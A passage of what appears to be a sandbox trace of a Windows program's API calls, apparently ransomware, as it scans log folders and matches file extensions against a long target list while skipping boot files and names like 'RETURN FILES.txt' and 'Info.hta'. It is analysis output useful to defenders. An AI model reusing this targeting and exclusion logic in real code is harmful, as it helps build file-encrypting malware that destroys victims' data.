(lpString1=".config", lpString2="766.log") returned -1 [0050.102] lstrlenW (lpString=".cpp") returned 4 [0050.102] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".cr2") returned 4 [0050.102] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".crt") returned 4 [0050.102] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".crw") returned 4 [0050.102] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".cs") returned 3 [0050.102] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0050.102] lstrlenW (lpString=".css") returned 4 [0050.102] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".csv") returned 4 [0050.102] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".cub") returned 4 [0050.102] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".dae") returned 4 [0050.102] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".dat") returned 4 [0050.102] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".db") returned 3 [0050.102] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0050.102] lstrlenW (lpString=".dbf") returned 4 [0050.102] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0050.102] lstrlenW (lpString=".dbx") returned 4 [0050.103] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".dc3") returned 4 [0050.103] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".dcm") returned 4 [0050.103] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".dcr") returned 4 [0050.103] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".der") returned 4 [0050.103] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".dib") returned 4 [0050.103] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".dic") returned 4 [0050.103] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".dif") returned 4 [0050.103] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".divx") returned 5 [0050.103] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0050.103] lstrlenW (lpString=".djvu") returned 5 [0050.103] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0050.103] lstrlenW (lpString=".dng") returned 4 [0050.103] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".doc") returned 4 [0050.103] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".docm") returned 5 [0050.103] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0050.103] lstrlenW (lpString=".docx") returned 5 [0050.103] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0050.103] lstrlenW (lpString=".dot") returned 4 [0050.103] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0050.103] lstrlenW (lpString=".dotm") returned 5 [0050.103] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0050.103] lstrlenW (lpString=".dotx") returned 5 [0050.104] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0050.104] lstrlenW (lpString=".dpx") returned 4 [0050.104] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".dqy") returned 4 [0050.104] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".dsn") returned 4 [0050.104] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".dt") returned 3 [0050.104] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0050.104] lstrlenW (lpString=".dtd") returned 4 [0050.104] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".dwg") returned 4 [0050.104] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".dwt") returned 4 [0050.104] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".dx") returned 3 [0050.104] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0050.104] lstrlenW (lpString=".dxf") returned 4 [0050.104] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".edml") returned 5 [0050.104] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0050.104] lstrlenW (lpString=".efd") returned 4 [0050.104] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".elf") returned 4 [0050.104] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".emf") returned 4 [0050.104] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".emz") returned 4 [0050.104] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".epf") returned 4 [0050.104] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0050.104] lstrlenW (lpString=".eps") returned 4 [0050.105] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".epsf") returned 5 [0050.105] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0050.105] lstrlenW (lpString=".epsp") returned 5 [0050.105] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0050.105] lstrlenW (lpString=".erf") returned 4 [0050.105] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".exr") returned 4 [0050.105] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".f4v") returned 4 [0050.105] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".fido") returned 5 [0050.105] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0050.105] lstrlenW (lpString=".flm") returned 4 [0050.105] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".flv") returned 4 [0050.105] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".frm") returned 4 [0050.105] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".fxg") returned 4 [0050.105] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".geo") returned 4 [0050.105] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".gif") returned 4 [0050.105] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".grs") returned 4 [0050.105] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0050.105] lstrlenW (lpString=".gz") returned 3 [0050.105] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0050.105] lstrlenW (lpString=".h") returned 2 [0050.105] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0050.105] lstrlenW (lpString=".hdr") returned 4 [0050.106] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".hpp") returned 4 [0050.106] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".hta") returned 4 [0050.106] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".htc") returned 4 [0050.106] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".htm") returned 4 [0050.106] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".html") returned 5 [0050.106] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0050.106] lstrlenW (lpString=".icb") returned 4 [0050.106] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".ics") returned 4 [0050.106] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".iff") returned 4 [0050.106] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".inc") returned 4 [0050.106] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".indd") returned 5 [0050.106] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0050.106] lstrlenW (lpString=".ini") returned 4 [0050.106] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".iqy") returned 4 [0050.106] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".j2c") returned 4 [0050.106] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".j2k") returned 4 [0050.106] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0050.106] lstrlenW (lpString=".java") returned 5 [0050.106] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0050.106] lstrlenW (lpString=".jp2") returned 4 [0050.107] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".jpc") returned 4 [0050.107] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".jpe") returned 4 [0050.107] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".jpeg") returned 5 [0050.107] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0050.107] lstrlenW (lpString=".jpf") returned 4 [0050.107] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".jpg") returned 4 [0050.107] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".jpx") returned 4 [0050.107] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".js") returned 3 [0050.107] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0050.107] lstrlenW (lpString=".jsf") returned 4 [0050.107] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".json") returned 5 [0050.107] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0050.107] lstrlenW (lpString=".jsp") returned 4 [0050.107] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".kdc") returned 4 [0050.107] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".kmz") returned 4 [0050.107] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".kwm") returned 4 [0050.107] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".lasso") returned 6 [0050.107] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0050.107] lstrlenW (lpString=".lbi") returned 4 [0050.107] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0050.107] lstrlenW (lpString=".lgf") returned 4 [0050.108] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0050.108] lstrlenW (lpString=".lgp") returned 4 [0050.108] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0050.108] lstrlenW (lpString=".log") returned 4 [0050.108] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0050.108] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0050.108] lstrlenW (lpString=".save") returned 5 [0050.108] lstrcmpiW (lpString1=".save", lpString2="6.log") returned -1 [0050.108] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0050.108] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0050.108] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0050.108] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0050.108] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0050.108] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0050.108] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0050.108] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0050.108] lstrcmpiW (lpString1="wmxsde.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0050.108] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0050.108] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0050.108] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0050.108] lstrlenW (lpString=".1cd") returned 4 [0050.108] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0050.108] lstrlenW (lpString=".3ds") returned 4 [0050.108] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0050.108] lstrlenW (lpString=".3fr") returned 4 [0050.108] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0050.108] lstrlenW (lpString=".3g2") returned 4 [0050.108] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0050.109] lstrlenW (lpString=".3gp") returned 4 [0050.109] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0050.109] lstrlenW (lpString=".7z") returned 3 [0050.109] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0050.109] lstrlenW (lpString=".accda") returned 6 [0050.109] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0050.109] lstrlenW (lpString=".accdb") returned 6 [0050.109] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0050.109] lstrlenW (lpString=".accdc") returned 6 [0050.109] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0050.109] lstrlenW (lpString=".accde") returned 6 [0050.109] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0050.109] lstrlenW (lpString=".accdt") returned 6 [0050.109] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0050.109] lstrlenW (lpString=".accdw") returned 6 [0050.109] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0050.109] lstrlenW (lpString=".adb") returned 4 [0050.109] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0050.109] lstrlenW (lpString=".adp") returned 4 [0050.109] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0050.109] lstrlenW (lpString=".ai") returned 3 [0050.109] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0050.109] lstrlenW (lpString=".ai3") returned 4 [0050.109] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0050.109] lstrlenW (lpString=".ai4") returned 4 [0050.109] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0050.109] lstrlenW (lpString=".ai5") returned 4 [0050.109] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0050.109] lstrlenW (lpString=".ai6") returned 4 [0050.109] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0050.109] lstrlenW (lpString=".ai7") returned 4 [0050.109] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0050.109] lstrlenW (lpString=".ai8") returned 4 [0050.109] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0050.110] lstrlenW (lpString=".anim") returned 5 [0050.110] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0050.110] lstrlenW (lpString=".arw") returned 4 [0050.110] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0050.110] lstrlenW (lpString=".as") returned 3 [0050.110] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0050.110] lstrlenW (lpString=".asa") returned 4 [0050.110] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0050.110] lstrlenW (lpString=".asc") returned 4 [0050.110] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0050.110] lstrlenW (lpString=".ascx") returned 5 [0050.110] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0050.110] lstrlenW (lpString=".asm") returned 4 [0050.110] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0050.110] lstrlenW (lpString=".asmx") returned 5 [0050.110] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0050.110] lstrlenW (lpString=".asp") returned 4 [0050.110] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0050.110] lstrlenW (lpString=".aspx") returned 5 [0050.110] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0050.110] lstrlenW (lpString=".asr") returned 4 [0050.110] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0050.110] lstrlenW (lpString=".asx") returned 4 [0050.111] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".avi") returned 4 [0050.111] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".avs") returned 4 [0050.111] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".backup") returned 7 [0050.111] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0050.111] lstrlenW (lpString=".bak") returned 4 [0050.111] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".bay") returned 4 [0050.111] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".bd") returned 3 [0050.111] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0050.111] lstrlenW (lpString=".bin") returned 4 [0050.111] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".bmp") returned 4 [0050.111] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".bz2") returned 4 [0050.111] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".c") returned 2 [0050.111] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0050.111] lstrlenW (lpString=".cdr") returned 4 [0050.111] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".cer") returned 4 [0050.111] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".cf") returned 3 [0050.111] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0050.111] lstrlenW (lpString=".cfc") returned 4 [0050.111] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".cfm") returned 4 [0050.111] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0050.111] lstrlenW (lpString=".cfml") returned 5 [0050.112] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0050.112] lstrlenW (lpString=".cfu") returned 4 [0050.112] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".chm") returned 4 [0050.112] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".cin") returned 4 [0050.112] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".class") returned 6 [0050.112] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0050.112] lstrlenW (lpString=".clx") returned 4 [0050.112] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".config") returned 7 [0050.112] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0050.112] lstrlenW (lpString=".cpp") returned 4 [0050.112] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".cr2") returned 4 [0050.112] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".crt") returned 4 [0050.112] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".crw") returned 4 [0050.112] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".cs") returned 3 [0050.112] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0050.112] lstrlenW (lpString=".css") returned 4 [0050.112] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".csv") returned 4 [0050.112] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".cub") returned 4 [0050.112] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0050.112] lstrlenW (lpString=".dae") returned 4 [0050.112] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".dat") returned 4 [0050.113] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".db") returned 3 [0050.113] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0050.113] lstrlenW (lpString=".dbf") returned 4 [0050.113] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".dbx") returned 4 [0050.113] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".dc3") returned 4 [0050.113] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".dcm") returned 4 [0050.113] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".dcr") returned 4 [0050.113] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".der") returned 4 [0050.113] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".dib") returned 4 [0050.113] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".dic") returned 4 [0050.113] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".dif") returned 4 [0050.113] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".divx") returned 5 [0050.113] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0050.113] lstrlenW (lpString=".djvu") returned 5 [0050.113] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0050.113] lstrlenW (lpString=".dng") returned 4 [0050.113] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".doc") returned 4 [0050.113] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0050.113] lstrlenW (lpString=".docm") returned 5 [0050.113] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0050.114] lstrlenW (lpString=".docx") returned 5 [0050.114] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0050.114] lstrlenW (lpString=".dot") returned 4 [0050.114] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0050.114] lstrlenW (lpString=".dotm") returned 5 [0050.114] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0050.114] lstrlenW (lpString=".dotx") returned 5 [0050.114] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0050.114] lstrlenW (lpString=".dpx") returned 4 [0050.114] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0050.114] lstrlenW (lpString=".dqy") returned 4 [0050.114] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0050.114] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0050.114] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0050.114] FindClose (in: hFindFile=0x42604c0 | out: hFindFile=0x42604c0) returned 1 [0050.115] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0050.115] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0050.115] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0050.115] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260400 [0050.115] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.115] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0050.115] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, 